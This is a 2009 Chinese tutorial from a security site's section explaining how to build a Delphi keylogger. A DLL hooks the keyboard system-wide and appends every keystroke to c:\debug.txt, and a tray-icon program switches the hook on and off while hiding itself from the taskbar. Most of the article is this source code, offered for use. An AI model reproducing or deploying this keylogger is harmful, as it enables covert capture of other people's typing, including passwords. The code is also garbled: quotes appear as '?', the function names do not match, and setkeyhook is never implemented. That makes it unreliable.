首页 网络安全 安全学院 查看内容

利用Hook技术实现键盘监控

2009-7-13 12:35 829 0

摘要:   许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows...
关键词: procedure 钩子 TObject Sender begin 图标 end nid 应用程序 TMenuItem

  许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。    一、Hook(钩子)的实现:    ---- Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现 Hook的方式。    ---- 1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。代码如下:    library keyspy;  uses  windows, messages, hookproc in ?hookproc.pas?;  exports  setkeyhook,  endkeyhook;  begin  nexthookproc:=0;  procsaveexit:=exitproc;  exitproc:=@keyhookexit;  end.    2.在Hookproc.pas中实现了钩子具体过程:  unit hookproc;  interface  uses  Windows, Messages, SysUtils, Controls, StdCtrls;  var  nexthookproc:hhook;  procsaveexit:pointer;  function keyboardhook(icode:integer;wparam:wparam;  lparam:lparam):lresult;stdcall;export;  function setkeyhook:bool;export;//加载钩子  function endkeyhook:bool;export;//卸载钩子  procedure keyhookexit;far;  const  afilename=?c:\debug.txt?;//将键盘输入动作写入文件中  var  debugfile:textfile;  implementation  function keyboardhookhandler(icode:integer;wparam:wparam;  lparam:lparam):lresult;stdcall;export;  begin  if icode<0 then  begin  result:=callnexthookex(hnexthookproc,icode,wparam,lparam);  exit;  end;  assignfile(debugfile,afilename);  append(debugfile);  if getkeystate(vk_return)<0 then  begin  writeln(debugfile,??);  write(debugfile,char(wparam));  end  else  write(debugfile,char(wparam));  closefile(debugfile);  result:=0;  end;  function endkeyhook:bool;export;  begin  if nexthookproc<>0 then begin  unhookwindowshookex(nexthookproc);  nexthookproc:=0;  messagebeep(0); end;  result:=hnexthookproc=0;  end;  procedure keyhookexit;far;  begin  if nexthookproc<>0 then endkeyhook;  exitproc:=procsaveexit; end;  end.    ---- 二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。    unit kb;  interface  uses  Windows, Messages, SysUtils, Classes,  Graphics, Controls, Forms,  Dialogs,  StdCtrls, Menus,shellapi;  const  icon_id=1;  MI_iconevent=wm_user+1;//定义一个用户消息  type  TForm1 = class(TForm)  PopupMenu1: TPopupMenu;  sethook1: TMenuItem;  endhook1: TMenuItem;  N1: TMenuItem;  About1: TMenuItem;  Close1: TMenuItem;  Gettext1: TMenuItem;  procedure FormCreate(Sender: TObject);  procedure sethook1Click(Sender: TObject);  procedure endhook1Click(Sender: TObject);  procedure FormDestroy(Sender: TObject);  procedure Close1Click(Sender: TObject);  private  { Private declarations }  nid:tnotifyicondata;  normalicon:ticon;  public  { Public declarations }  procedure icontray(var msg:tmessage);  message mi_iconevent;  end;  var  Form1: TForm1;  implementation  {$R *.DFM}  function setkeyhook:bool;external ?keyspy.dll?;  function endkeyhook:bool;external ?keyspy.dll?;    procedure tform1.icontray(var msg:tmessage);  var  pt:tpoint;  begin  if msg.lparam=wm_lbuttondown then  sethook1click(self);  if msg.LParam=wm_rbuttondown then  begin  getcursorpos(pt);  setforegroundwindow(handle);  popupmenu1.popup(pt.x,pt.y);  end;  end;    procedure TForm1.FormCreate(Sender: TObject);  begin  normalicon:=ticon.create;  application.title:=caption;  nid.cbsize:=sizeof(nid);  nid.wnd:=handle;  nid.uid:=icon_id;  nid.uflags:=nif_icon or nif_message or nif_tip;  nid.ucallbackmessage:=mi_iconevent;  nid.hIcon :=normalicon.handle;  strcopy(nid.sztip,pchar(caption));  nid.uFlags:=nif_message or nif_icon or nif_tip;  shell_notifyicon(nim_add,@nid);  SetWindowLong(Application.Handle,  GWL_EXSTYLE,WS_EX_TOOLWINDOW);  end;    procedure TForm1.sethook1Click(Sender: TObject);  begin  setkeyhook;  end;    procedure TForm1.endhook1Click(Sender: TObject);  begin  endkeyhook;  end;    procedure TForm1.FormDestroy(Sender: TObject);  begin  nid.uFlags :=0;  shell_notifyicon(nim_delete,@nid);  end;    procedure TForm1.Close1Click(Sender: TObject);  begin  application.terminate;  end;    ---- 该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部